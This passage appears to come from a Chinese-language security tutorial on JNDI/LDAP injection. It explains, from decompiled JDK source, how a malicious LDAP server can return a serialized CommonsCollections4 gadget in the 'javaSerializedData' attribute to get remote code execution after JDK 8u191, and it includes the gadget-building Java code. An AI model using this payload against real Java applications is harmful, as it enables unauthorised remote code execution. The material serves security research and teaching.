static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
其中(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null
判断了JAVA_ATTRIBUTES[1]是否为空,这是哪个参数呢?
static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};
是一个名为javaSerializedData的参数,所以,我们可以通过修改ldap服务直接返回javaSerializedData参数的数据(序列化gadget数据),达到反序列化RCE
首先,我们通过该方法,制造Common-Collectios4 gadget的base64序列化数据
private static byte[] makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
接着,添加ldap服务的attribute javaSerializedData
e.addAttribute("javaSerializedData", classData);
总结:jdk8u191后,ldap Reference的攻击方式不能使用,需要通过javaSerializedData返回序列化gadget方式实现
很多人以为天天讲RMI攻击什么的,觉得很鸡肋,其实并不然,其中涉及到的很多知识,在其他地方我们完全能用上,就比如,我们使用RMI和LDAP协议的JNDI去攻击客户端,以及我前段时间讲的Shiro文章《Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC》,完全可以利用JRMPClient的gadget payload去加快Padding Oracle CBC攻击的速度等等...